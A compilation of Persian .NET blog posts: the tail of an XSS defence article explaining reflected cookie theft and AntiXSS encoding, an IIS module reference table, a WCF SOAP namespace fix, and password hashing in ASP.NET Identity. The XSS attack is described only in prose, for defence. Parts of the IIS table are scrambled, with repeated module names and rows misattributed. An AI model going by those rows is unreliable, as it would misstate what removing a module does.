در این صورت کافیست فرد مهاجم لینک مخرب را به هر شکلی به فرد مورد هدف بدهد (مثلا ایمیل و ...). حال در صورتیکه فرد لینک را باز کند (با توجه به اینکه لینک مربوط به یک سایت معروف است و عدم آگاهی کاربر از آسیب پذیری موجود در لینک، باعث باز کردن لینک توسط کاربر می‌شود)، کدها بر روی مرورگرش اجرا شده و کوکی‌های سایت مذکور برای مهاجم ارسال خواهد شد ... به این نوع حمله XSS ، نوع انعکاسی می‌گویند که کاملا از توضیحات فوق الذکر، دلیل این نامگذاری مشخص می‌باشد.

اهمیت مقابله با این حمله :

برای نمونه این نوع باگ حتی تا سال گذشته در سرویس ایمیل یاهو وجود داشت. به شکلی که یکی از افراد انجمن hackforums به صورت Private این باگ را به عنوان Yahoo 0-Day XSS Exploit در محیط زیر زمینی و بازار سیاه هکرها به مبلغ چند صد هزار دلار به فروش می‌رساند. کاربران مورد هدف کافی بود تا فقط یک ایمیل دریافتی از هکر را باز کنند تا کوکی‌های سایت یاهو برای هکر ارسال شده و دسترسی ایمیل‌های فرد قربانی برای هکر فراهم شود ... (در حال حاظر این باگ در یاهو وجو ندارد).

چگونگی جلوگیری از این آسیب پذیری

در این سری از مقالات کدهای پیرامون سرفصل‌ها و مثال‌ها با ASP.net تحت فریم ورک MVC و به زبان C# خواهند بود. هر چند کلیات مقابله با آسیب پذیری هایی از این دست در تمامی زبان‌ها و تکنولوژی‌های تحت وب یکسان میباشند.

خوشبختانه کتابخانه‌ای قدرتمند برای مقابله با حمله مورد بحث وجود دارد با نام AntiXSS که میتوانید آخرین نسخه آن را با فرمان زیر از طریق nugget به پروژه خود اضافه کنید. البته ذکر این نکته **حائز اهمیت** است که Asp.net و فریم ورک MVC به صورت توکار تا حدودی از بروز این حملات جلوگیری می‌کند. برای مثال به این صورت که در View ها شما تا زمانی که از MvcHtmlString استفاده نکنید تمامی محتوای مورد نظر برای نمایش به صورت Encode شده رندر می‌شوند. این داستان برای Url ها هم که به صورت پیش فرض encode میشوند صدق می‌کند. ولی گاها وقتی شما برای ورود اطلاعات مثلا از یک ادیتور WYSWYG استفاده می‌کنید و نیاز دارید داده‌ها را بدون encoding رندر کنید. آنگاه به ناچار مجاب بر اعمال یک سری سیاست‌های خاص‌تر بر روی داده مورد نظر برای رندر می‌شوید و نمی‌توانید از encoding توکار فوق الذکر استفاده کنید. آنگاه این کتابخانه در اعمال سیاست‌های جلوگیری از بروز این آسیب پذیری می‌تواند برای شما مفید واقع شود.

```
PM> Install-Package AntiXSS
```

این کتابخانه مجموعه‌ای از توابع کد کردن عبارات است که از مواردی همچون Html, XML, Url, Form, LDAP, CSS, JScript and VBScript پشتیبانی می‌کند. استفاده از آن بسیار ساده می‌باشد. کافیست ارجاعات لازم را به پروژه خود افزوده و به شکل زیر از توابع ارائه شده توسط این کتابخانه استفاده کنید:

```
…
var reviewContent = model.UserReview;
reviewContent = Microsoft.Security.Application.Encoder.HtmlEncode(review);
…
```

امیدوارم در اولین بخش از این سری مقالات، به صورت خلاصه مطالب مهمی که باعث ایجاد فهم کلی در رابطه با حملات Xss وجود دارد، برای دوستان روشن شده و پیش زمینه فکری برای مقابله با این دست از حملات برایتان به وجود آمده باشد.

نظرات خوانندگان

نویسنده: مجید و مسعود منظوری
تاریخ: ۱۳۹۳/۱۰/۰۴ ۱۲:۱۳

سلام
جایی دیدیم که نوعی از حملات هست که هکر تو یکی از پوشه‌های سایت (مثلا پوشه Images) یک اسکریپت یا یک صفحه asp قرار میده و کاربر رو به سایت خودش هدایت میکنه، یا اینکه یک عکس نشون میده
ظاهرا این حملات بیشتر برای استفاده از سایت هدف برای تبلیغات به کار میره
راه مقابله با این حملات چی میتونه باشه؟
این حملات به نام حملات CLRF شناخته میشن گویا

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۰/۰۴ ۱۲:۵۴

دسترسی اجرایی را از این پوشه‌ها با تنظیم ذیل در وب کانفیگ سایت، بگیرید:

```
<location path="upload">
  <system.webServer>
    <handlers accessPolicy="Read" />
  </system.webServer>
</location>
```

اطلاعات بیشتر: ^ و ^

نویسنده: سید مهران موسوی
تاریخ: ۱۳۹۳/۱۰/۰۴ ۱۳:۲۳

در واقع آپلود فایل‌های مخرب نوعی حفره امنیتی در توسعه اپلیکیشن هست که موجب سوء استفاده میتونه واقع بشه . این حفره امنیتی به Unrestricted File Upload معروفه که با نکته ای که آقای نصیری ذکر کردن قابل حل هست در asp net (لینک‌های ارجاعی رو مطالعه بفرمایید)

در رابطه با ارجاع کاربران به سایت هدف نوع حمله همون CLRF هست که شامل xss هم میشه .
مقابله با این نوع حملات ساده و استوار بر دو اصل اساسی هست :
1 : همیشه بر این قانون که به ورودی داده‌های کاربر اعتماد نکنید استوار باشید
2 : تمامی ورودی‌های کاربران را که قرار است مورد مشاهده در عموم و خصوص کاربران در مرورگر باشد تا حد ممکن پاکسازی کنید
مطالعه بیشتر ^

عنوان: آشنایی با ساختار IIS قسمت هفتم
نویسنده: علی یگانه مقدم
تاریخ: ۱۳۹۳/۱۰/۰۸ ۱۳:۱۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, IIS, Security

در این قسمت بیشتر یک سری از ماژول‌ها را به شما در قالب جداول گروه بندی شده معرفی خواهیم کرد :

همانطور که در قسمت‌های قبلی گفتیم سرور IIS آماده خصوصی سازی و کار بر اساس علائق شماست؛ ولی توجه داشته باشید حذف تمامی ماژول‌ها ممکن است اثرات جانبی هم داشته باشد. در اینجا ما ماژول هایی را به شما معرفی می‌کنیم که بدانید کار هر ماژول چیست تا مثلا با حذف ماژولی، امنیت وب سایت خود را به خطر نیندازید :

ماژول‌های سودمند یا utility

نام ماژول:	UriCacheModule
توضیح:	این ماژول نوعی کش برای URLها به شمار می‌رود. موقعی که url درخواست می‌شود، اطلاعات در اولین درخواست خوانده شده و کش می‌شود و اگر دوباره همان url درخواست شود، بدون خواندن تنظیمات و بر اساس تنظیمات قبلی، کار url مربوطه را انجام میدهد تا اطلاعات پیکربندی تغییر کند و بر اساس اطلاعات جدید، خود را به روز کند.
تگ قابل پیکربندی:	لازم ندارد
وابستگی:	ندارد
اثرات حذف آن:	کارایی سیستم کاهش می‌یابد و سیستم مجبور است برای هر درخواست فایل پیکربندی را بخواند.
نام ماژول :	FileCacheModule
توضیح :	فایل هندلِ فایل‌هایی که قبلا در سرور باز شده‌اند را کش می‌کند تا در صورت نیاز در دفعات بعدی سریعتر عمل کند.
تگ قابل پیکربندی :	لازم ندارد .
وابستگی :	ندارد.
اثرات حذف آن :	کارایی سیستم کاهش می‌یابد. سیستم در هر اجرای دستور مربوط به فایل‌ها باید فایل هندل را به دست آورد.

نام ماژول :	**TokenCacheModule**
توضیح :	توکن‌های امنیتی ویندوز که پسوردهایی بر اساس authentication schemes هستند را کش می‌کند (anonymous authentication, basic authentication, IIS client certificate authentication)
تگ قابل پیکربندی :	لازم ندارد
وابستگی :	ندارد
اثرات حذف آن :	کارایی سیستم به شدت پایین می‌آید. کاربر باید با هر درخواستی لاگین کند. یکی از اصلی‌ترین ضربه‌ها با حذف این ماژول این است که اگر مثلا یک پسورد از یک فایل html محافظت می‌کند و این صفحه به 50 تصویر ارجاع دارد، 51 بار باید درخواست لاگین اجرا گردد یا شاید هم بدتر

MANAGED ENGINE: ASP.NET INTEGRATION

نام ماژول :	**ManagedEngine**
توضیح :	مدیریت ماژول‌های native و مدیریت شده
تگ قابل پیکربندی :	
وابستگی :	ندارد
اثرات حذف آن :	مشخصا غیرفعال شدن asp.net integrated و غیر فعال شدن تمامی ماژول‌ها و هندلرهای تگ وب کانفیگ یا داخل فایل کانفیگ IIS که در مقالات قبلی به تفصیل بیان کرده‌ایم.

IIS 7 NATIVE MODULES

نام ماژول :	**HttpCacheModule**
توضیح :	مدیریت کش خروجی در htttp.sys بر اساس پیکربندی مثل تعریف سایز کش و ...
تگ قابل پیکربندی :	System.webServer/caching

نام ماژول :	**HttpCacheModule**
وابستگی :	ندارد.
اثرات حذف آن :	محتوا دیگر به صورت کرنل مد، کش نمی‌شود و کش پروفایل هم ندید گرفته می‌شود و احتمالا بر کارآیی و استفاده از منابع هم اثر می‌گذارد.
نام ماژول :	**DynamicCompressionModule**
توضیح :	پیاده سازی in-memory compression در محتوای پویا
تگ قابل پیکربندی :	system.webServer/httpCompression and system.webServer/urlCompression.
وابستگی :	وابستگی ندارد چرا که به طور پیش فرض غیرفعال است.

نام ماژول :	StaticCompressionModule
توضیح :	پیادسازی فشرده سازی در محتوای ایستا و برای فایل‌های سیستمی از نوع in memory
تگ قابل پیکربندی :	system.webServer/httpCompression and system.webServer/urlCompression
وابستگی :	ندارد.
اثرات حذف آن :	در صورت عدم فشرده سازی بر مصرف ترافیک تاثیر گذار است.
نام ماژول :	**DefaultDocumentModule**
توضیح :	پیاده سازی یک لیست سند پیش فرض. درخواست‌ها مدام پشت سر هم می‌آیند و این درخواست‌های پشت سرهم، به سند پیش فرض هدایت می‌شوند. همان پنجره ای که شما به ترتیب فایل‌های index.htm,index.asp,default.aspx و... را تعیین می‌کنید.
تگ قابل پیکربندی :	system.webServer/defaultDocument

نام ماژول :	StaticCompressionModule
وابستگی :	ندارد.
اثرات حذف آن :	درخواست را به ریشه هدایت می‌کند. مثلا برای localhost صفحه 404 باز میگرداند و اگر directoryBrowsing فعال باشد لیستی از دایرکتوری ریشه را باز میگرداند.

نام ماژول :	**DirectoryListingModule**
توضیح :	پیادی سازی لیستی از محتویات یک دایرکتوری
تگ قابل پیکربندی :	system.webServer/directoryBrowse
وابستگی :	ندارد.
اثرات حذف آن :	اگر این ماژول و ماژول قبلی غیرفعال باشند response نهایی خالی است.
نام ماژول :	**ProtocolSupportModule**
توضیح :	پیاده سازی اختصاصی از response header پیاده سازی تنظیمات trace و HTTP verbs. پیاده سازی تنظیمات مربوطه به keep-alive بر اساس پیکربندی
تگ قابل پیکربندی :	system.webServer/httpProtocol
وابستگی :	ندارد.
اثرات حذف آن :	بازگرداندن پیام خطای "Method not allowed 405".

نام ماژول :	**HttpRedirectionModule**
توضیح :	پیاده سازی عملیات انتقال یا redirect

نام ماژول :	**HttpRedirectionModule**
تگ قابل پیکربندی :	system.webServer/httpRedirect
وابستگی :	ندارد.
اثرات حذف آن :	خطر امنیتی: اگر منابعی با redirect کردن محافظت می‌شوند، از این پس در دسترسند.
نام ماژول :	**ServerSideIncludeModule**
توضیح :	حمایت از فایل shtm یا shtml و ...
تگ قابل پیکربندی :	system.webServer/serverSideInclude
وابستگی :	ندارد.
اثرات حذف آن :	این فایل‌ها به صورت متنی نمایش داده می‌شوند

نام ماژول :	**StaticFileModule**
توضیح :	فایل‌های ایستا را به همراه پسوند ارسال می‌کند. مثل jpg,html و نوع محتوا را بر اساس staticContent/mimeMap پیکربندی می‌کند.
تگ قابل پیکربندی :	system.webServer/staticContent
وابستگی :	ندارد.
اثرات حذف آن :	فایل‌های ایستا دیگر ارائه نشده و به جای آن خطای 404 بازگشت داده می‌شود.
نام ماژول :	**AnonymousAuthenticationModule**
توضیح :	پیاده سازی سیستم شناسایی افراد ناشناس. همانطور که میدانید در یک وب سایت حداقل محتوایی برای افرادی بدون داشتن اکانت هم وجود دارد. برای اینکار یک شیء httpuser ایجاد می‌کند.
تگ قابل پیکربندی :	

نام ماژول :	**StaticFileModule**
	system.webServer/security/authentication/anonymousAuthentication
وابستگی :	ندارد.
اثرات حذف آن :	حداقل باید یک سیستم امنیتی برای شناسایی یا authenticate وجود داشته باشد. httpuser یک ساختار داده ای در IIS می‌باشد و در صورت نبودن هیچ سیستم شناسایی وجود نداشته و در نبود شیء httpuser سیستم خطای 401.2 را تولید می‌کند.

نام ماژول :	**CertificateMappingAuthenticationModule**
توضیح :	مجوز SSL را به Active Directory نگاشت می‌کند.
تگ قابل پیکربندی :	system.webServer/security/authentication/clientCertificateMappingAuthentication
وابستگی :	برای اینکه این ماژول وظیفه خود را انجام دهد باید تنظیمات SSL انجام شود و همچنین سیستم IIS جزئی از دامنه Active directory باشد
اثرات حذف آن :	درخواست‌ها، نرمال رسیدگی میشوند انگار SSL وجود ندارد.
نام ماژول :	**BasicAuthenticationModule**
توضیح :	پیاده سازی پایه‌ای و روتین شناسایی کاربران بر اساس آن چیزی که در استانداد زیر آمده است RFC 2617 .
تگ قابل پیکربندی :	system.webServer/security/authentication/basicAuthentication
وابستگی :	None.
اثرات حذف آن :	حداقل باید یک سیستم امنیتی برای شناساسایی یا authenticate وجود داشته باشد. httpuser یک ساختار

نام ماژول :	**CertificateMappingAuthenticationModule**
	داده‌ای در IIS می‌باشد و در صورت نبود، هیچ سیستم شناسایی یافت نشده و نبود شیء httpuser در سیستم، خطای 401.2 را تولید می‌کند.

نام ماژول :	**WindowsAuthenticationModule**
توضیح :	((windows Authentication (NTLM or Negotiate (Kerberos
تگ قابل پیکربندی :	system.webServer/security/authentication/windowsAuthentication
وابستگی :	ندارد.
اثرات حذف آن :	حداقل باید یک سیستم امنیتی برای شناسایی یا authenticate وجود داشته باشد. httpuser یک ساختار داده ای در IIS می‌باشد و در صورت نبود، هیچ سیستم شناسایی یافت نشده و نبود شیء httpuser در سیستم، خطای 401.2 را تولید می‌کند.
نام ماژول :	**DigestAuthenticationModule**
توضیح :	پیاده سازی سیستم شناسایی دیاجست بر اساس RFC 2617 .
تگ قابل پیکربندی :	system.webServer/security/authentication/digestAuthentication
وابستگی :	IIS باید بخشی از دامنه Active Directory باشد.
اثرات حذف آن :	حداقل باید یک سیستم امنیتی برای شناسایی یا authenticate وجود داشته باشد. httpuser یک ساختار داده ای در IIS می‌باشد و در صورت نبود، هیچ سیستم شناسایی یافت نشده و نبود شیء httpuser در سیستم، خطای 401.2 را تولید می‌کند.

نام ماژول :	**IISCertificateMappingAuthenticationModule**
توضیح :	پیاده سازی نگاشت مجوزهای IIS، نگهداری و ذخیره اطلاعات همه نگاشت‌ها و مجوزهای کاربری چون SSL client certificates
تگ قابل پیکربندی :	system.webServer/iisClientCertificateMappingAuthentication
وابستگی :	اطلاعات SSL به همراه دریافت client certificates جهت پیکربندی این ماژول
اثرات حذف آن :	حداقل باید یک سیستم امنیتی برای شناسایی یا authenticate وجود داشته باشد. httpuser یک ساختار داده ای در IIS می‌باشد و در صورت نبود، هیچ سیستم شناسایی یافت نشده و نبود شیء httpuser در سیستم، خطای 401.2 را تولید می‌کند.
نام ماژول :	**UrlAuthorizationModule**
توضیح :	پیاده سازی authorization بر اساس قوانین پیکربندی شده
تگ قابل پیکربندی :	system.webServer/security/authorization
وابستگی :	ندارد.
اثرات حذف آن :	محتواهای محافظت شده توسط authorization دیگر محافظت نمی‌شوند.

نام ماژول :	**IsapiModule**
توضیح :	پیاده سازی ISAPI Extension
تگ قابل پیکربندی :	system.webServer/isapiCgiRestriction
وابستگی :	ندارد.

نام ماژول :	**IsapiModule**
اثرات حذف آن :	هندلرهای معرفی شده در بخش IsapiModule و تگ handlers دیگر اجرا نمی‌شوند
نام ماژول :	**IsapiFilterModule**
توضیح :	پیاده سازی ISAPI filter
تگ قابل پیکربندی :	system.webServer/isapiFilters
وابستگی :	ندارد.
اثرات حذف آن :	اگر برنامه ای از ISAPI filter استفاده می‌کند، در اجرا دچار مشکل خواهد شد.

نام ماژول :	**IpRestrictionModule**
توضیح :	یک سیستم تشخیص دسترسی بر اساس آی پی‌های ورژن4
تگ قابل پیکربندی :	system.webServer/security/ipSecurity
وابستگی :	IPv4 stack باید نصب شود.
اثرات حذف آن :	کلاینت هایی که IP هایشان در IPsecurity لیست شده‌اند ندید گرفته میشوند
نام ماژول :	**RequestFilteringModule**
توضیح :	پیاده سازی یک مجموعه قدرتمند از قوانین امنیتی که درخواست‌های مشکوک را پس می‌زند.
تگ قابل پیکربندی :	system.webServer/security/requestFiltering
وابستگی :	ندارد.
اثرات حذف آن :	دیگر قوانین امنیتی اجرا نخواهند شد و سبب وجود مشکلات امنیتی میشود.

نام ماژول :	**CustomLoggingModule**
توضیح :	پیاده سازی اینترفیس ILogPlugin در سمت IIS، به مشتریان اجازه میدهد تا لاگ‌های خود را توسعه دهند. هر چند این روش توصیه نمی‌شود و توصیه کارشناس مایکروسافت استفاده از یک ماژول دست نویس از نوع RQ_LOG_REQUEST می باشد. Implements the ILogPlugin interface on top of IIS. ILogPlugin is a previous COM implementation that allowed customers to extend IIS logging. We do not not recommend extending IIS using this interface. Instead, customers should write a module and subscribe to the RQ_LOG_REQUEST notification.
تگ قابل پیکربندی :	system.webServer/httpLogging and system.applicationhost/sites/site/logFile/customLogPluginClsid
وابستگی :	ندارد.
اثرات حذف آن :	مسلما پلاگین‌های‌های این اینترفیس از کار می‌افتند که سیستم ODBC Logging هم جز آن است.
نام ماژول :	**CustomErrorModule**
توضیح :	پیاده سازی مدیریت خطاهای ویژه
تگ قابل پیکبرندی :	system.webServer/httpErrors
وابستگی :	None.
اثرات حذف آن :	در صورتی که خطایی از هسته باشد، نتیجه یک صفحه، با توضیح مختصری از خطا خواهد بود. در غیر این صورت اگر خطا از برنامه یا کامپوننتی باشد جزئیات خطا فاش خواهد شد

نام ماژول :	**HttpLoggingModule**
توضیح :	پیاده سازی سیستم logging استاندارد http.sys
تگ قابل پیکربندی :	system.applicationHost/log and

نام ماژول :	**HttpLoggingModule**
	system.webServer/httpLogging
وابستگی :	ندارد.
اثرات حذف آن :	از کار افتادن سیستم لاگ
نام ماژول :	**FailedRequestsTracingModule**
توضیح :	پیاده سازی سیستم ردیابی درخواست‌های ناموفق و اجرای قوانین، طبق پیکربندی
تگ قابل پیکربندی :	system.webServer/tracing and system.webServer/httpTracing
وابستگی :	ندارد.
اثرات حذف آن :	Tracing http requests will no longer work.

نام ماژول :	**RequestMonitorModule**
توضیح :	پیاده سازی IIS Run-time State and Control Interface یا به اختصار RSCA . به کاربران اجازه می‌دهد از اطلاعات، حین اجرا، کوئری بگیرند. مثل درخواست درحال اجرای جاری، آغاز به کار یا توقف وب سایت و دامنه‌های اپلیکیشن در حال اجرای جاری
تگ قابل پیکربندی :	ندارد.
وابستگی :	ندارد.
اثرات حذف آن :	ابزارهای مرتبط با این موضوع از کار می‌افتند
نام ماژول :	**CgiModule**
توضیح :	پیاده سازی CGI در سمت IIS
تگ قابل پیکبرندی :	system.webServer/cgi and system.webServer/isapiCgiRestriction

نام ماژول :	**RequestMonitorModule**
وابستگی :	ندارد.
اثرات حذف آن :	برنامه‌های CGI متوقف می‌شوند

نام ماژول :	**TracingModule**
توضیح :	پیاده سازی سیستم ردیابی ETW
تگ قابل پیکربندی :	system.webServer/httpTracing
وابستگی :	ندارد.
اثرات حذف آن :	باعث از کار افتادن سیستم مربوطه می‌شود
نام ماژول :	**ConfigurationValidationModule**
توضیح :	اعتبارسنجی تنظیمات برنامه ASP.Net که به حالت integrate انتقال یافته است
تگ قابل پیکربندی :	system.webServer/Validation
وابستگی :	ندارد.
اثرات حذف آن :	عدم اعتبارسنجی و در نتیجه عدم نمایش خطاها

MANAGED MODULES:

نام ماژول :	**OutputCache**
توضیح :	پیاده سازی output caching
تگ قابل پیکربندی :	system.web/caching/outputCache
وابستگی :	نیاز به ManagedEngine .
اثرات حذف آن :	عدم اجرای output cache

نام ماژول :	**OutputCache**
نام ماژول :	**Session**
توضیح :	مدیریت سشن ها
تگ قابل پیکربندی :	system.web/sessionState
وابستگی :	نیاز به ManagedEngine .
اثرات حذف آن :	سشن‌ها از دسترس خارج می‌شوند.

نام ماژول :	**WindowsAuthentication**
توضیح :	اینجا
تگ قابل پیکربندی :	system.web/authentication
وابستگی :	نیاز به ManagedEngine .
اثرات حذف آن :	این حالت قابل اجرا نخواهد بود
نام ماژول :	**FormsAuthentication**
توضیح :	اینجا
تگ قابل پیکربندی :	system.web/authentication
وابستگی :	نیاز به ManagedEngine .
اثرات حذف آن :	این حالت قابل اجرا نیست و کاربران مجوز دار هم نمی‌توانند به منابع محافظت شده دسترسی داشته باشند.

نام ماژول :	**DefaultAuthentication**
توضیح :	اطمینان از وجود شی Authentication در context مربوطه
تگ قابل پیکربندی :	system.web/authentication
وابستگی :	نیاز به ManagedEngine .
اثرات حذف آن :	اگر مد Forms authentication انتخاب شده باشد بر روی بعضی از کاربران ناشناس کار نخواهد کرد و رویداد DefaultAuthentication.OnAuthenticate اجرا نخواهد شد.
نام ماژول :	**RoleManager**
توضیح :	اینجا
تگ قابل پیکربندی :	
وابستگی :	نیاز به ManagedEngine .
اثرات حذف آن :	این قابلیت در دسترس نمی‌باشد

نام ماژول :	**UrlAuthorization**
توضیح :	اینجا
تگ قابل پیکربندی :	system.web/authorization.
وابستگی :	نیاز به ManagedEngine .
اثرات حذف آن :	باعث از کار افتادن asp.net authorization و فاش شدن بعضی اطلاعات و همچنین دیگر تهدیدات امنیتی

نام ماژول :	UrlAuthorization
نام ماژول :	AnonymousIdentification
توضیح :	اینجا
تگ قابل پیکربندی :	
وابستگی :	نیاز به ManagedEngine .
اثرات حذف آن :	The anonymous identification feature used by the ASP.NET Profile will not work.

نام ماژول :	Profile
توضیح :	اینجا
تگ قابل پیکربندی :	
وابستگی :	ManagedEngine module must be installed.
اثرات حذف آن :	ASP.Net Profile از کار خواهد افتاد
نام ماژول :	UrlMappingsModule
توضیح :	تبدیل یک Url واقعی به یک Url کاربرپسند
تگ قابل پیکبرندی :	
وابستگی :	نیاز به ManagedEngine .
اثرات حذف آن :	نگاشت Urlها صورت نمی‌گیرد

عنوان: **کار با وب سرویس جاوایی تشخیص ایمیل‌های موقتی در دات نت**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۰/۲۷ ۱۲:۴۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security, WCF, xml, Validation, Java

یکی از وب سرویس‌های سایت name api ، امکان تشخیص موقتی بودن ایمیل مورد استفاده‌ی جهت ثبت نام در یک سایت را فراهم می‌کند. آدرس WSDL آن نیز در اینجا قرار دارد. اگر مطابق معمول استفاده از سرویس‌های وب در دات نت، بر روی ارجاعات پروژه کلیک راست کرده و گزینه‌ی Add service refrence را انتخاب کنیم و سپس آدرس WSDL یاد شده را به آن معرفی کنیم، بدون مشکل ساختار این وب سرویس دریافت و برای استفاده‌ی از آن به یک چنین کدی خواهیم رسید:

```
var client = new SoapDisposableEmailAddressDetectorClient();

var context = new soapContext
{
    //todo: get your API key here: http://www.nameapi.org/en/register/
    apiKey = "test"
};
var result = client.isDisposable(context, "DaDiDoo@mailinator.com");

if (result.disposable.ToString() == "YES")
{
    Console.WriteLine("YES! It's Disposable!");
}
```

متد isDisposable ارائه شده‌ی توسط این وب سرویس، دو پارامتر context که در آن باید API Key خود را مشخص کرد و همچنین آدرس ایمیل مورد بررسی را دریافت می‌کند. اگر به همین ترتیب این پروژه را اجرا کنید، با خطای Bad request از طرف سرور متوقف خواهید شد:

```
Additional information: The remote server returned an unexpected response: (400) Bad Request.
```

اگر به خروجی این وب سرویس در فیدلر مراجعه کنیم، چنین شکلی را خواهد داشت:

```
<html><head><title>Bad Request</title></head><body><h1>Bad Request</h1><p>No api-key
provided!</p></body></html>
```

عنوان کرده‌است که api-key را، در درخواست وب خود ذکر نکرده‌ایم.

اگر همین وب سرویس را توسط امکانات سایت http://wsdlbrowser.com بررسی کنید، بدون مشکل کار می‌کند. اما تفاوت در کجاست؟

خروجی ارسالی به سرور، توسط سایت http://wsdlbrowser.com به این شکل است:

```
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1="http://disposableemailaddressdetector.email.services.v4_0.soap.server.nameapi.org/">
  <SOAP-ENV:Body>
    <ns1:isDisposable>
      <context>
        <apiKey>test</apiKey>
      </context>
      <emailAddress>sdsdg@site.com</emailAddress>
    </ns1:isDisposable>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

و نمونه‌ی تولید شده‌ی توسط WCF (امکان Add service reference در حقیقت یک WCF Client را ایجاد می‌کند) به صورت زیر می‌باشد:

```
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
     <isDisposable
```

```
xmlns="http://disposableemailaddressdetector.email.services.v4_0.soap.server.nameapi.org/">
          <context xmlns=""><apiKey>test</apiKey></context>
          <emailAddress xmlns="">DaDiDoo@mailinator.com</emailAddress>
      </isDisposable>
  </s:Body>
</s:Envelope>
```

از لحاظ اصول XML، خروجی تولیدی توسط WCF هیچ ایرادی ندارد. از این جهت که نام فضای نام مرتبط با http://schemas.xmlsoap.org/soap/envelope/ را به s تنظیم کرده‌است و سپس با استفاده از این نام، Envelope را تشکیل داده‌است. اما ... این وب سرور جاوایی دقیقا با نام SOAP-ENV کار می‌کند و فضای نام ns1 بعدی آن. کاری هم به اصول XML ندارد که باید بر اساس نام xmlns ذکر شده، کار Parse ورودی دریافتی صورت گیرد و نه بر اساس یک رشته‌ی ثابت از پیش تعیین شده. بنابراین باید راهی را پیدا کنیم تا بتوان این s را تبدیل به SOAP-ENV کرد.

برای این منظور به سه کلاس ذیل خواهیم رسید:

```
public class EndpointBehavior : IEndpointBehavior
{
    public void AddBindingParameters(ServiceEndpoint endpoint, BindingParameterCollection
bindingParameters)
    { }

    public void ApplyDispatchBehavior(ServiceEndpoint endpoint, EndpointDispatcher endpointDispatcher)
    { }

    public void Validate(ServiceEndpoint endpoint)
    { }

    public void ApplyClientBehavior(ServiceEndpoint endpoint, ClientRuntime clientRuntime)
    {
        clientRuntime.MessageInspectors.Add(new ClientMessageInspector());
    }
}

public class ClientMessageInspector : IClientMessageInspector
{
    public void AfterReceiveReply(ref Message reply, object correlationState)
    { }

    public object BeforeSendRequest(ref Message request, System.ServiceModel.IClientChannel channel)
    {
        request = new MyCustomMessage(request);
        return request;
    }
}

/// <summary>
/// To customize WCF envelope and namespace prefix
/// </summary>
public class MyCustomMessage : Message
{
    private readonly Message _message;

    public MyCustomMessage(Message message)
    {
        _message = message;
    }

    public override MessageHeaders Headers
    {
        get { return _message.Headers; }
    }

    public override MessageProperties Properties
    {
        get { return _message.Properties; }
    }

    public override MessageVersion Version
    {
        get { return _message.Version; }
    }

    protected override void OnWriteStartBody(XmlDictionaryWriter writer)
    {
```

```
        writer.WriteStartElement("Body", "http://schemas.xmlsoap.org/soap/envelope/");
    }

    protected override void OnWriteBodyContents(XmlDictionaryWriter writer)
    {
        _message.WriteBodyContents(writer);
    }

    protected override void OnWriteStartEnvelope(XmlDictionaryWriter writer)
    {
        writer.WriteStartElement("SOAP-ENV", "Envelope", "http://schemas.xmlsoap.org/soap/envelope/");
        writer.WriteAttributeString("xmlns", "ns1", null, value:
"http://disposableemailaddressdetector.email.services.v4_0.soap.server.nameapi.org/");
    }
}
```

که پس از تعریف client به نحو ذیل معرفی می‌شوند:

```
var client = new SoapDisposableEmailAddressDetectorClient();
client.Endpoint.Behaviors.Add(new EndpointBehavior());
```

توسط EndpointBehavior سفارشی، می‌توان به متد **Envelope** OnWriteStart دسترسی یافت و سپس s آن‌را با SOAP-ENV درخواستی این وب سرویس جایگزین کرد. اکنون اگر برنامه را اجرا کنید، بدون مشکل کار خواهد کرد و دیگر پیام یافت نشدن API-Key را صادر نمی‌کند.

کدهای کامل این مثال را از اینجا می‌توانید دریافت کنید.

عنوان: **نحوه‌ی محاسبه‌ی هش کلمات عبور کاربران در ASP.NET Identity**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۱/۲۸ ۱۴:۱۵
آدرس: www.dotnettips.info
گروه‌ها: Security, Cryptography, ASP.NET Identity

روش‌های زیادی برای ذخیره سازی کلمات عبور وجود دارند که اغلب آن‌ها نیز نادرست هستند. برای نمونه شاید ذخیره سازی کلمات عبور، به صورت رمزنگاری شده، ایده‌ی خوبی به نظر برسد؛ اما با دسترسی به این کلمات عبور، امکان رمزگشایی آن‌ها، توسط مهاجم وجود داشته و همین مساله می‌تواند امنیت افرادی را که در چندین سایت، از یک کلمه‌ی عبور استفاده می‌کنند، به خطر اندازد.

در این حالت هش کردن کلمات عبور ایده‌ی بهتر است. هش‌ها روش‌هایی یک طرفه هستند که با داشتن نتیجه‌ی نهایی آن‌ها، نمی‌توان به اصل کلمه‌ی عبور مورد استفاده دسترسی پیدا کرد. برای بهبود امنیت هش‌های تولیدی، می‌توان از مفهومی به نام Salt نیز استفاده نمود. Salt در اصل یک رشته‌ی تصادفی است که پیش از هش شدن نهایی کلمه‌ی عبور، به آن اضافه شده و سپس حاصل این جمع، هش خواهد شد. اهمیت این مساله در بالا بردن زمان یافتن کلمه‌ی عبور اصلی از روی هش نهایی است (توسط روش‌هایی مانند brute force یا امتحان کردن بازه‌ی وسیعی از عبارات قابل تصور).

اما واقعیت این است که حتی استفاده از یک Salt نیز نمی‌تواند امنیت بازیابی کلمات عبور هش شده را تضمین کند. برای مثال نرم افزارهایی موجود هستند که با استفاده از پرداش موازی قادرند بیش از 60 میلیارد هش را در یک ثانیه آزمایش کنند و البته این کارآیی، برای کار با هش‌های متداولی مانند MD5 و SHA1 بهینه سازی شده‌است.

روش هش کردن کلمات عبور در ASP.NET Identity

ASP.NET Identity 2.x که در حال حاضر آخرین نگارش تکامل یافته‌ی روش‌های امنیتی توصیه شده‌ی توسط مایکروسافت، برای برنامه‌های وب است، از استانداردی به نام RFC 2898 و الگوریتم PKDBF2 برای هش کردن کلمات عبور استفاده می‌کند. مهم‌ترین مزیت این روش خاص، کندتر شدن الگوریتم آن با بالا رفتن تعداد سعی‌های ممکن است؛ برخلاف الگوریتم‌هایی مانند MD5 یا SHA1 که اساسا برای رسیدن به نتیجه، در کمترین زمان ممکن طراحی شده‌اند.

